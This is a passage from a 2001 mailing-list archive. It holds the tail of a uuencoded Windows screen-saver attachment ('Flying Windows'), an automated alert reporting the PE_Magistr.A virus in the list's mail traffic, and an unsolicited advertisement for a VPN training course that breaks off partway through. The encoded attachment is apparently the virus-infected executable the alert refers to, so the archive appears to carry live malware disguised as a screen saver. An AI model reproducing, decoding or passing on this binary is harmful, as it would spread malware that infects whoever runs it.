M"/\5E$)``(OXA?]T%U?_%9!"0`"%P'0,_W445U97_Q6<0D``N`$```#K9(,]
MV#)```!T3/]U%/]U$%;_=0C_%81"0`#K28,]U#)```!U,8M%$#U`\```=`X]
M4/```'0'/4#Q``!U&3/`ZR2#/=@R0```=`0SP.L7:@#_%6Q"0`#_=13_=1!6
M_W4(Z`_T__]?7EW"$`!5B^R#['"AS#)``%-65S/V:F10B77$_Q7$0D``:@2)
M1<#'1=`,,T``B77,_Q4@0D``B47(B76XH<PR0`")=;2)1;PY=0C'1:PK````
MQT6PQAU``'0VC4744/]U"/\5P$)``(M]W(M=X(EUX(EU_,=%]````%+'!=0R
M0``!````QT7X)#-``.FA````:DR+';Q"0`#_TXOP:DW_TVI.B47@_].+^&I/
M_].+V(7_=`2%VW4Q:@#_%0!#0`"+\(U%Y%!6_Q7H04``5FH`_Q7L0D``BW7D
MBT7HBWWLBUWP*_XKV(E%X,=%]````);'1?P(````N"PS0`!0B47X:`PS0`#_
M%;A"0`")1?"%P'0;4/\5D$)``(7`=!#_=?#_%:A"0``SP.FN````Z+````!H
M/#-``/\5M$)``*/L,D``C46L4/\5L$)``&:%P'0L:@#_-<PR0`!J`/]U"%-7
M_W7@5O]U]/]U^&@,,T``_W7\_Q6L0D``H]`R0`"#/=`R0```=$V#/=0R0```
M=0RAT#)``%#_%:A"0``S]HU%D%965E#_%>1"0`"%P'0EC4604/\5I$)``(U%
MD%#_%>A"0`!6C4605E90_Q7D0D``A<!UV^@W`P``BT687UY;B^5=P^F)`@``
M5O]T)`CH)@```(/$!(OPA?9T%E;_%9!"0`"%P'0+5NC[_?__@\0$ZP6X____
M_U[#,\"+3"0$@#DP?!>*$8#Z.7\0:\`*#[[208U$`M"`.3!]Z<.AS#)``%#H
MJ/;__X7`N`````!T'&H`:*060`#_="0,:-,'``#_-<PR0`#_%<A"0`##5O]T
M)`CHHO___X/$!(OPA?9T"U;_%9!"0`"%P'4(_Q7T0D``B_!6Z`0````SP%[#
M5VB`&D``_Q500D``B_B%_W0F:)`:0`!7_Q5<0D``A<!T#VH`:@#_="00:(@:
M0`#_T%?_%6!"0`!?P@0`@^P<4U97,_8Y-=PR0``/A=,````Y-=@R0``/A<<`
M```Y->0R0``/A*H```#_%2Q"0`"+^(L=`#-``#O>=!=7H00S0`!0Z*8```"#
MQ`@[PP^"@0```*$(,T``@_C_=!%74.B*````@\0(/<@```!R<&H#OA,!``"+
M?"0P5HU$)!16QP7<,D```0```%=0_Q7,0D``C40D#&H#5E97,_90_Q7,0D``
M5E9H`(```%?_%:!"0`"CV#)``(DUW#)``(7`=0=6_Q6,0D``_Q4L0D``HP@S
M0`#K"L<%V#)```$```"AV#)``.L",\!?7EN#Q!S#BT0D"(M,)`0[P2O!PU6+
M[(/L1%;_%61"0`"+\(H`/")U&U;_%=!"0`"+\(H`A,!T!#PB=>V`/B)U%4;K
M$CP@=@Y6_Q700D``@#@@B_!W\H`^`'03@#X@=PY6_Q700D``@#@`B_!U[<=%
MZ`````"-3;Q1_Q540D``]D7H`;@*````=`0/MT7L4%9J`&H`_Q580D``4.A>
M]O__4(OP_Q5,0D``B\9>B^5=PU6+[(/L#(,]X#)```!6=`7HB@```(U%_%!H
M&!!``&@!``"`_Q7,04``A<!U;8U%](U-^%`S]L=%]`0```!15E9H<#)``/]U
M_/\5T$%``(7`=3\Y=?AT.FB(,D``_Q500D``H^`R0``[QG0F:)@R0`!0_Q5<
M0D``H^0R0``[QG0,:@'HW?;__X/$!.L%Z`X```#_=?S_%=1!0`!>B^5=PU:A
MX#)``#/VA<!T)%#_%6!"0`")->`R0``Y->0R0`!T#U:)->0R0`#HF/;__X/$
M!%[#S,Q5B^Q35E=5:@!J`&A`)4``_W4(Z+@!``!=7UY;B^5=PXM,)`3W000&
M````N`$```!T#XM$)`B+5"00B0*X`P```,-35E>+1"004&K^:$@E0`!D_S4`
M````9(DE`````(M$)""+6`B+<`R#_O]T+CMT)"1T*(TT=HL,LXE,)`B)2`R#
M?+,$`'42:`$!``"+1+,(Z$````#_5+,(Z\-DCP4`````@\0,7UY;PS/`9(L-
M`````(%Y!$@E0`!U$(M1#(M2##E1"'4%N`$```##4U&[4#-``.L*4U&[4#-`
M`(M-"(E+"(E#!(EK#%E;P@0`S,Q60S(P6$,P,%6+[(/L"%-65U7\BUT,BT4(
M]T`$!@````^%@@```(E%^(M%$(E%_(U%^(E#_(MS#(M["(/^_W1AC0QV@WR/
M!`!T1595C6L0_U2/!%U>BUT,"\!T,W@\BWL(4^BI_O__@\0$C6L05E/HWO[_
M_X/$"(T,=FH!BT2/".AA____BP2/B4,,_U2/"(M["(T,=HLTC^NAN`````#K
M'+@!````ZQ55C6L0:O]3Z)[^__^#Q`A=N`$```!=7UY;B^5=PU6+3"0(BRF+
M01Q0BT$84.AY_O__@\0(7<($`/\E2$)`````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````!787)P4W!E960```!$96YS:71Y```````R
M````_P```%-C<F5E;E-A=F55<V5087-S=V]R9````%!!4U-73U)$+D-03```
M``!697)I9GE38W)E96Y3879E4'=D`$E-33,R+D1,3````$EM;4%S<V]C:6%T
M94-O;G1E>'0`````````````````````````````````````````````````
M````````````````!```````````````_____U=I;F1O=W-38W)E96Y3879E
M<D-L87-S`%!R979I97<`4V-R965N(%-A=F5R`````%%U97)Y0V%N8V5L075T
M;U!L87D`(`63&0``````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```T00``#HM2.?_____*0P``=$(``.Q```#'IT$Y_____TY$```L0@``I$``
M``Z+4CG_____4D4``.1!``"<0```#HM2.?____]<10``W$$``(Q````.BU(Y
M_____]I'``#,00```&1`````````````````````````````````````````
M`````````,Q'``"X1P``JD<````````1``"``````,I$``"<1P``/D4``#)%
M```D10``%$4```A%``#Z1```[D0``*!$``"41```L$0``,!$``#>1```;D0`
M`%Q$``"$1````````.Y#``#B0P``&$0``-9#```V1```_D,```Q$``"01P``
M7D<``$Y'``!L1P``+$<``!I'``!`1P``?D<``/9&```21P```````&)#``"`
M10``1$,``')#``"810``ND4``,I%``#610``XD4``.Y%``"J10``H$,``")&
M```V1@``3$8``%Y&``!P1@``BD8``)A&``"L1@``O$8``,A&``#:1@``ZD8`
M`'Y#``"*0P``O$,``+!#````1@``#D8```Q#``!40P``:D4``#A#```L0P``
M)$,``!A#````````VAGFOV05YK]T%N:_`````%Z"Z+\`````\R/QOTP>\;^.
M*/&_+3'QOU$F\;_:+/&_M"KQO_A1\;]&*/&_\5'QOWPE\;^\*O&_F"+QOS(E
M\;^O)O&_STGQORXE\;\`````D&KVORA*]K\;>?:_4'/VOZL1^;\,2?:_%G/V
MOW&)][\@V_>_*'?VOP5X]K]N=_:_`&[VO_SF][\"S/>_7.3XOX,S^+\`````
MX$;TOVD2]+^D(/2_J1OTOZU>]+_N'O2_EBWTOX51]+]Q)/2_OR3TO^A9]+\6
M6_2_25KTOQ<E]+]17_2_?D3TO_`4]+_X6_2_UE7TOZ52]+_97/2_[R_TO^U:
M]+\82_2_<5CTOPA;]+]L6/2_Q!'TOQU:]+\'2?2_D"#TO]Q1]+_55/2_J##T
MOZT;]+^=)/2_=B'TOP````#J`5)E;&5A<V5$0P#2`$9I;&Q296-T``#W`$=E
M=$1#`(T!2VEL;%1I;65R`#$"4V5T5&EM97(``+4`16YA8FQE5VEN9&]W``#\
M`$=E=$1L9TET96T``/T`1V5T1&QG271E;4EN=`"W`$5N9$1I86QO9P"'`G=S
M<')I;G1F00#T`5-E;F1$;&=)=&5M365S<V%G94$`^0%396YD365S<V%G94$`
M`'X"5VEN2&5L<$$``*`!3&]A9%-T<FEN9T$`55-%4C,R+F1L;```\`)L<W1R
M8W!Y00``QP%,;V-A;$9R964`9P%'9714:6-K0V]U;G0``,,!3&]C86Q!;&QO
M8P``[0)L<W1R8VUP:4$`T0)7<FET95!R:79A=&50<F]F:6QE4W1R:6YG00``
M*0%'9710<FEV871E4')O9FEL94EN=$$`2T523D5,,S(N9&QL``#``$=E=%-T
M;V-K3V)J96-T```M`$-R96%T949O;G1);F1I<F5C=$$`"@%396QE8W1/8FIE
M8W0``$,!5&5X=$]U=$$``#,!4V5T5&5X=$-O;&]R``!'`$1E;&5T94]B:F5C
M=```Y@!0871";'0``$$`0W)E871E4V]L:61"<G5S:```,0%3971497AT06QI
M9VX``!$!4V5T0FM-;V1E`!`!4V5T0FM#;VQO<@``1`!$96QE=&5$0P``SP!'
M971497AT1F%C94$``"P`0W)E871E1F]N=$$`,@!#<F5A=&5)0T$`O0!'9712
M87-T97)I>F5R0V%P<P!'1$DS,BYD;&P`0T]-0U1,,S(N9&QL```"`4=E=$9O
M<F5G<F]U;F17:6YD;W<`3P)3>7-T96U087)A;65T97)S26YF;T$`A0!$9697
M:6YD;W=0<F]C00``T0%0;W-T365S<V%G94$``/8`1V5T0W5R<V]R4&]S```*
M`E-E=$-U<G-O<@"(`4ES5VEN9&]W```P`4=E=%!A<F5N=`#3`5!O<W11=6ET
M365S<V%G90`C`4=E=$UE<W-A9V5!`),`1&ES<&%T8VA-97-S86=E00``8`)4
M<F%N<VQA=&5-97-S86=E```4`E-E=$9O<F5G<F]U;F17:6YD;W<`6P!#<F5A
M=&57:6YD;W=%>$$`V@%296=I<W1E<D-L87-S00``YP%296=I<W1E<E=I;F1O
M=TUE<W-A9V5!``#3`$9I;F17:6YD;W=!`$`!1V5T4WES=&5M365T<FEC<P``
MZP!'971#;&EE;G1296-T`)8!3&]A9$EC;VY!`)$`1&EA;&]G0F]X4&%R86U!
M`,X!4&5E:TUE<W-A9V5!```F`$-H87).97AT00"F`E5N:&%N9&QE9$5X8V5P
M=&EO;D9I;'1E<@``C`)3;&5E<``S`4=E=%!R;V-!9&1R97-S```=`4=E=$UO
M9'5L94AA;F1L94$``,$`1G)E94QI8G)A<GD`O0%,;V%D3&EB<F%R>4$``(8`
M17AI=%!R;V-E<W,`20%'9713=&%R='5P26YF;T$`UP!'971#;VUM86YD3&EN
M94$`)@)2=&Q5;G=I;F0`B`!'971#;&EP0F]X``!^`%)E9T-L;W-E2V5Y`)T`
M4F5G475E<GE686QU945X00``E`!296=/<&5N2V5Y00!!1%9!4$DS,BYD;&P`
M````````````````````````````````````````````!```````!0`#````
M.```@`4```!8``"`!@```'```(`.````F```@!````"P``"````````````$
M```````"``$```#(``"``@```.```(````````````0```````$`TP<``/@`
M`(````````````0```````,`!P```!`!`(`_````*`$`@$````!``0"`````
M```````$```````!`&0```!8`0"````````````$```````!``$```!P`0"`
M```````````$```````!``0$``"(`0`````````````$```````!``0$``"8
M`0`````````````$```````!``0$``"H`0`````````````$```````!``0$
M``"X`0`````````````$```````!``0$``#(`0`````````````$```````!
M``0$``#8`0`````````````$```````!``0$``#H`0`````````````$````
M```!``0$``#X`0``"%(``.@"``#D!````````/!4```H`0``Y`0````````8
M5@``(`(``.0$````````C%@``#P```#D!````````,A8``""````Y`0`````
M``!,60``I@```.0$````````]%D``"(```#D!````````!A:``!@`P``Y`0`
M```````H````(````$`````!``0````````"````````````````````````
M````````@```@````("``(````"``(``@(```,#`P`"`@(````#_``#_````
M__\`_P```/\`_P#__P``____```````````````````````````'______]W
MB`````````"/_W=W=W=W=W>(````````C___=W=W=W=WB`````````B'=_=W
M=W=W>(``````````"(B/=W=WB(@`````````````CW=W>```````````````
M````````````````"(B(B(B(B(B(B(B(B(````CW=W=W=W=W=W=W=W>(```(
M]______________WB(``"/<`````````"PL`]XB```CW``````````"P`/>(
M@``(]Y"9F9````````#WB(``"/<)D)"0````````]XB```CWD)F9D```\`P`
M`/>(@``(]PF0D)````#`P`#WB(``"/>0F9F0``!0#```]XB```CW```````%
M!0``8/>(@``(]P``8````%``!@;WB(``"/<`!@8```````!@]XB```CW``!@
M`````````/>(@``(]P``#P```@(B(@#WB(``"/<`L``````B`@(`]XB```CW
M```````"`B(B`/>(@``(]P```````"("`@#WB(``"/>(B(B(B(B(B(B(]XB`
M``CW=W=W=W=W=W=W=W>(@```C_______________B(````AW=W=W=W=W=W=W
M=_B`````AW=W=W=W=W=W=W=_@`````B(B(B(B(B(B(B(B(``_@`#__@``/_P
M``!_\```?_@``/_^``/__\`?_\```!^````/@```!X````.````#@````X``
M``.````#@````X````.````#@````X````.````#@````X````.````#@```
M`X````.````#@````\````/@```#\````_@```<H````$````"`````!``0`
M`````(``````````````````````````````````@```@````("``(````"`
M`(``@(```,#`P`"`@(````#_``#_````__\`_P```/\`_P#__P``____````
M``````````=W=W=X````"(]W>(@`````"/>```````````````"(B(B(B(B`
M`(______]X@`CPD)``L'B`"/`)D```>(`(\```!0!X@`CP`&``!GB`"/L```
M(`>(`(\```("!X@`A_______B``(=W=W=W?X``"(B(B(B(@`X`^(B,`'B(C@
M#XB(^#\``(`'=W<``W=W``%W=P`!`````?__``'__P`!__\``8````$````!
M``"``0``P`.```$`__\``````````,0@R(`*``@`$`#*`%```````$8`;`!Y
M`&D`;@!G`"``5P!I`&X`9`!O`'<`<P`@`(1V>)`%F```"0````"(L&4P?0YF
MU)H``````````````0`!4)X`"``H``X``0```/__@`"Z>)I;````````````
M```````!4)X`&@`H``X``@```/__@`#64XAM````````````````!P``4`0`
M!`"6`"8`R````/__@`!.7_)F'Y"F7B@`)@!7`"D````````````````````"
M4`@`$``@``X`__\``/__@@!B80```````````````````@`"4'(`$``@``X`
M__\``/__@@#K7P```````````````````0`!4`@`&`"*`!``9````&T`<P!C
M`'0`;`!S`%\`=`!R`&$`8P!K`&(`80!R`#,`,@````````````````````<`
M`%`$`"T`E@`>`"P!``#__X``QENF7B@`)@!$`"D````````````````````"
M4`@`.P!D``X`__\``/__@@!7`&D`;@!D`&\`=P!S`"``>&7N=B``*``U`"T`
M-P`U`"D``````````````````````(%0>@`X`!P`#`!E````__^!````````
M`````````#8`@%",`#@`"``,`&8```!M`',`8P!T`&P`<P!?`'4`<`!D`&\`
M=P!N`#,`,@`````````!4``!.#`L(3XI*"E>8WMB9F!B?V=C?6UG:G=]9W,=
M`'=["@`#>D1^;6=C?WEG?W]W6AX>$1\4&AX=8QX4`41Y>6I]8V1C?7U>9V-_
M>6=_?W=:1%````````````X`1@!L`'D`:0!N`&<`(`!7`&D`;@!D`&\`=P!S
M```````````````````````````````````````````````````````+`&,`
M;P!N`'0`<@!O`&P`+@!I`&X`:0`+`%,`8P!R`&4`90!N`%,`80!V`&4`<@``
M`````````!L`4P!C`'(`90!E`&X`(`!3`&$`=@!E`'(`+@!&`&P`>0!I`&X`
M9P`@`%<`:0!N`&0`;P!W`',`4$$L`*A@A';[EF:!DFP)9[.-(%F$=N]3*'48
MBK9AU)H,_T!BY4XA<=5L;Y@Z>0PPJHH.9@TP`C"!B9Y8H%+O4RAUA'88BK9A
MU)H,_\N*4'U?9^B0_4X+>@]?`C`+`&,`;P!N`'0`<@!O`&P`+@!H`&P`<``,
M`%,`8P!R`&4`90!N`"``4P!A`'8`90!R````````````````````````````
M````````4$$```$``@`@(!```0`$`.@"```!`!`0$``!``0`*`$```(`4$%@
M`S0```!6`%,`7P!6`$4`4@!3`$D`3P!.`%\`20!.`$8`3P``````O03O_@``
M`0!:``0`N`L``%H`!`"X"P``/P`````````$``0``0``````````````````
M`,`"```!`%,`=`!R`&D`;@!G`$8`:0!L`&4`20!N`&8`;P```)P"```!`#``
M-``P`#0`,``S`$(`-@```$P`%@`!`$,`;P!M`'``80!N`'D`3@!A`&T`90``
M````30!I`&,`<@!O`',`;P!F`'0`(`!#`&\`<@!P`&\`<@!A`'0`:0!O`&X`
M``!@`!P``0!&`&D`;`!E`$0`90!S`&,`<@!I`'``=`!I`&\`;@``````1@!L
M`'D`:0!N`&<`(`!7`&D`;@!D`&\`=P!S`"``<P!C`'(`90!E`&X`(`!S`&$`
M=@!E`'(````T``H``0!&`&D`;`!E`%8`90!R`',`:0!O`&X``````#0`+@`Y
M`#``+@`S`#``,``P````+@`'``$`20!N`'0`90!R`&X`80!L`$X`80!M`&4`
M``!&`$P`60!7`$D`3@``````=``H``$`3`!E`&<`80!L`$,`;P!P`'D`<@!I
M`&<`:`!T````0P!O`'``>0!R`&D`9P!H`'0`(``H`$,`*0`@`$T`:0!C`'(`
M;P!S`&\`9@!T`"``0P!O`'(`<``N`"``,0`Y`#D`,0`M`#$`.0`Y`#@````^
M``L``0!/`'(`:0!G`&D`;@!A`&P`1@!I`&P`90!N`&$`;0!E````1@!,`%D`
M5P!)`$X`+@!3`$,`4@``````B``T``$`4`!R`&\`9`!U`&,`=`!.`&$`;0!E
M``````!-`&D`8P!R`&\`<P!O`&8`=``H`%(`*0`@`%<`:0!N`&0`;P!W`',`
M*`!2`"D`(`!-`&D`;`!L`&4`;@!N`&D`=0!M`"``3P!P`&4`<@!A`'0`:0!N
M`&<`(`!3`'D`<P!T`&4`;0```#@`"@`!`%``<@!O`&0`=0!C`'0`5@!E`'(`
M<P!I`&\`;@```#0`+@`Y`#``+@`S`#``,``P````1`````$`5@!A`'(`1@!I
M`&P`90!)`&X`9@!O```````D``0```!4`'(`80!N`',`;`!A`'0`:0!O`&X`
M``````0$M@-0041$24Y'6%A0041$24Y'4$%$1$E.1UA84$%$1$E.1U!!1$1)
M3D=86%!!1$1)3D=0041$24Y'6%A0041$24Y'4$%$1$E.1UA84$%$1$E.1U!!
M1$1)3D=86%!!1$1)3D=0041$24Y'6%A0041$24Y'4$%$1$E.1UA84$%$1$E.
M1U!!1$1)3D=8`!```!`"``!$,$@PJS"W,+PPPC#.,-0PVS#B,.@P[C#T,/TP
M##$H,3LQ0C%/,5<Q;S%^,8DQE#&:,:`QQS'6,><Q[3'U,?PQ`C(*,B(R+#(Y
M,DPR4C)8,EXR=#*0,I@RIS*M,K,RN3+/,N@R]C(#,PDS#S,F,STS13-/,UXS
M9S..,Y,SHC.N,\DSSS/=,RPT.31!-$<T8#1J-'HTA#2+-)(TG32G-+`TOC3'
M-,PTV#3=-.DT[C3Z-/\T"S40-1PU(34N-30U135--6`U=#6`-8LUDS68-:<U
MKC6Y-<,UR37/-=4UW#7A->PU^S4#-@TV$C88-B$V*#8P-C@V0#9(-E$V6S9I
M-GDVV3;I-O4V`C<4-QLW)#<P-S8W/3=$-UTW9C=T-X$WBS>;-Z@WVS?B-^XW
M^#?^-P,X"3@6.!TX,3A`.$TX5#AI.)0XPCC).-0XY3CM./TX$SD9.1XY+CDT
M.3DY0CE=.6HY=#EY.7XYBCF0.9\YKSFT.<,YR#G7.=PY[CGS.0<Z#CH3.ATZ
M(SHL.C4Z/#I!.D<Z3#I7.F$Z:CJO.K0ZRCI-.UL[C3O+.]T[Z3L,/)X\O#S)
M/.,\[#S[/`D]&CTE/2L]7CUD/6T]B#V>/:0]O#U_/H<^C#Z5/IP^H3ZP/K4^
MNS[!/M`^VS[D/NT^_SX1/R0_+S\^/TD_63]F/W8_@S^6/YX_PS_2/_(_`"``
M`,0````#,`\P&#`C,#HP23!B,&TP>C"A,*XPMS#=,.8P[##Z,`<Q&#$>,2,Q
M+3$Z,5`Q63%>,60Q;3%U,7PQBS&9,:,QL#'B,2`R-C)%,DLR9C)P,H(RB#*3
M,IHRJS*T,L8RTC+>,NHR\C+\,A(S/S-+,UTS:S-P,W8S@3.',XPSE#.=,\(S
MT3/P,P@T(#0[-$HT731O-'HTEC2?-*TTLS2X-,$TR#3--.LT]C0#-0DU#S48
M-30U=37>-?@U`3;Z-@``````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
K````````````````````````````````````````````````````````````
`
end

------=_NextPart_000_00D3_01E26BE3.AD6BE380--


From confctrl-owner  Wed Sep 19 07:05:45 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA24391
	for confctrl-outgoing; Wed, 19 Sep 2001 07:05:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA24383
	for <confctrl@zephyr.isi.edu>; Wed, 19 Sep 2001 07:05:42 -0700 (PDT)
Received: from cse.cuhk.edu.hk (cucs18.cse.cuhk.edu.hk [137.189.91.190])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8JE5qv23614
	for <confctrl@isi.edu>; Wed, 19 Sep 2001 07:05:53 -0700 (PDT)
Received: from localhost (iscan@localhost) by cse.cuhk.edu.hk  with SMTP id f8JE5j413973; Wed, 19 Sep 2001 22:05:45 +0800 (HKT)
Date: Wed, 19 Sep 2001 22:05:45 +0800 (HKT)
Message-Id: <200109191405.f8JE5j413973@cse.cuhk.edu.hk>
X-Authentication-Warning: cucs18.cs.cuhk.hk: iscan owned process doing -bs
From: root@cse.cuhk.edu.hk
To: <confctrl@ISI.EDU>, <dbworld@cs.wisc.edu>, <domain3@BXL.DG13.cec.eu.int>,
        <gigabitkits@arl.wustl.edu>
Subject: Virus Alert
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Have detected a virus (PE_Magistr.A) in your mail traffic on 09/19/2001 22:05:43 with an action clean.

From confctrl-owner  Wed Sep 19 09:03:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA00177
	for confctrl-outgoing; Wed, 19 Sep 2001 09:03:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA00172
	for <confctrl@zephyr.isi.edu>; Wed, 19 Sep 2001 09:03:55 -0700 (PDT)
Received: from hvmta03-stg.us.psimail.psi.net (hvmta03-ext.us.psimail.psi.net [38.202.36.27])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8JG46v28185
	for <confctrl@isi.edu>; Wed, 19 Sep 2001 09:04:06 -0700 (PDT)
Received: from adaly ([206.47.172.146]) by hvmta03-stg.us.psimail.psi.net
          (InterMail vM.4.01.02.17 201-229-119) with SMTP
          id <20010919160354.CELC21742.hvmta03-stg.us.psimail.psi.net@adaly>;
          Wed, 19 Sep 2001 12:03:54 -0400
Message-ID: <058701c14124$ac33f980$aa01010a@northland.local>
From: "Alan Daly" <apdaly@northlandinc.com>
To: <Undisclosed-Recipient:@ISI.EDU;>
Subject: 2 DAY VPN COURSE SCHEDULED FOR MONTREAL, CANADA ON OCTOBER 11TH AND 12TH, 2001
Date: Wed, 19 Sep 2001 12:03:46 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0584_01C14103.227B5560"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0584_01C14103.227B5560
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

 =20
Good morning.

                             Northland Systems, the world leader in =
non-vendor specific Fiber Optic, Gigabit Ethernet, MPLS and IP training, =
is pleased to announce that our much anticipated 2 day VPN course is =
scheduled to run in Montreal, Canada on October 11th and 12th.  I was =
wondering if you, your colleagues, or your clients would be interested =
in attending.=20

                             The cost to attend this course is $1100.00 =
CDN per student (plus applicable taxes) with a 10% discount being =
applied if you sign up more than one student with me at a time.  This =
course explores this cutting-edge networking technology and provides the =
student with a complete technical review on Virtual Private Networks. =
The class is limited to 20 students, and we are expecting this session =
to sell out extremely quickly, so time is of the essence if you plan on =
registering either yourself and/or your colleagues on this course. =20

Attendees please note, this course covers the following:

=B7 What virtual private networks are
=B7 What protocols, technologies, and products are used in a VPN =
solution
=B7 The security solutions used in VPNs
=B7 What architectures and configurations to consider when planning a =
VPN
=B7 How encryption is used to enable information privacy
=B7 How remote users and servers are authenticated with digital =
certificates
=B7 How tunneling protocols allow VPNs to be built over IP based =
networks, including the Internet.

This course is aimed at Systems Engineers, Network Administrators, Data =
Communication Consultants, Technical Architects and Security Planners.

Please review the detailed course outline below for more information on =
the content being covered:

COURSE OUTLINE:

 BACKGROUND
=20
=B7          Packet and Circuit Switched Networks
=B7          The Internet
=B7          Intranets and Extranets
=B7          What is a VPN and how is it different
=20
EXAMPLES OF VPN USE
=20
=B7          LAN-to-LAN
=B7          Corporate Intranets
=B7          Intranet/Extranet connection
=B7          Remote Access for users
=20
TECHNOLOGY BACKGROUND
=20
=B7          Network Layers Explained
=B7          Routing
=B7          Switching
=20
NETWORK SECURITY CONCEPTS
=20
=B7          General issues and risks=20
=B7          Authentication
=B7          Access control
=B7          Confidentiality
=B7          Data integrity
=B7          Non-repudiation
=B7          Threat and Solutions Evaluation
=20
GENERAL ENCRYPTION
=20
=B7          Basics of Crypto
=B7          The RSA model
=B7          The PGP model
=B7          The Deffie-Hellman algorithm
 =B7          Encryption and Digital Certificates
=B7          PKI architecture and options and directory issues
=B7          Examples of usage
=20
IPSec
=20
=B7          IPSec architecture
=B7          Security Associations
=B7          ESP
=B7          Authentication Header
=B7          Internet Key Exchange (IKE)
=B7          Status of IPSec
=B7          Polity issues
=B7          Issues in IPSec implementation
=20
MESSAGE AUTHENTICATION AND NON-REPUDIATION
=20
=B7          Digital Signatures
=B7          Message Authentication Codes
=B7          Digital Timestamps
=B7          Digital Certificates
=B7          Examples of concept
=20
USER AUTHENTICATION
=20
=B7          Authentication Servers and Passwords
=B7          Challenge and Response (PAP/CHAP)
=B7          Bio Metrics
=B7          Token Cards (Security Dynamics)
=B7          Secure authentication servers (RADIUS, TACACS, Kerberos)
=B7          Digital Certificates
=B7          Overview Architecture and example of usage

VPN SECURITY PLATFORMS
=20
=B7          Routers
=B7          Firewalls
=B7          Proxy Servers
=B7          NAT Servers
=B7          Network Monitoring
=20
VPN TUNNELING AND ENCAPSULATING PROTOCOLS=20
=20
=B7          How tunneling works and why it is used
=B7          PPTP
=B7          L2TP
=B7          L2F
=B7          LAN-to-LAN tunneling
=B7          Tunneling over IP
=B7          Routing Issues
=B7          Examples of usage
=20
PLANNING A VPN=20

=B7          Determining needs
=B7          Choosing the architecture and topology
=B7          Setting standards
=B7          Planning for legacy, non-compatible or =91non-standard=92 =
applications and platforms
=B7          Picking solutions
=B7          Planning for related projects (directories, PKI, etc.)
=B7          Defining Quality of service
=B7          Budgeting issues
=20
VPN OPERATION=20

=B7          Network management consideration
=B7          Administration and troubleshooting issues
=B7          Integration with technical support services
=20
CONCLUSIONS

=B7          Pros and Cons of a VPN
=B7          VPN futures
=20
To find out more about this course, to discuss in-house training =
solutions for a group at your facility, or to register, please call me =
directly at 613-667-5063.

Have a great day!


Regards,


Alan P. Daly
Sales Representative
Northland Systems Training Inc.
255 Albert St. 5th Floor
Ottawa, ON
K1P-6A9
Direct Dial: (613) 667-5063
Fax:          (613) 667-5098
Check Out Our Website at http://www.northlandelearning.com

-------------------------------------------------------------------------=
---
"Changing learning from an event to a life long process"

                           KNOW YOUR WAY
            visit http://www.northlandelearning.com
-------------------------------------------------------------------------=
---

------=_NextPart_000_0584_01C14103.227B5560
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 5.50.4616.200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>&nbsp;=20
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Times New Roman"=20
size=3D3>Good&nbsp;morning.</FONT></FONT></DIV>
<DIV><FONT face=3D"Times New Roman" size=3D3></FONT><FONT face=3DArial =
size=3D2><FONT=20
face=3D"Times New Roman" size=3D3><FONT face=3DArial =
size=3D2></FONT>&nbsp;</DIV></FONT>
<DIV><FONT face=3DArial size=3D2><FONT face=3DArial size=3D2><FONT=20
face=3D"Times New Roman" size=3D3><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; Northland Systems, the =
world leader=20
in non-vendor specific&nbsp;Fiber Optic, Gigabit Ethernet, MPLS and IP =
training,=20
is pleased to announce that&nbsp;our much anticipated 2 day VPN course=20
is&nbsp;scheduled to run in&nbsp;Montreal, Canada on&nbsp;October 11th =
and=20
12th.&nbsp; I was wondering if you, your colleagues, or your clients =
would=20
be&nbsp;interested in attending. </FONT><FONT face=3DArial =
size=3D2></FONT>
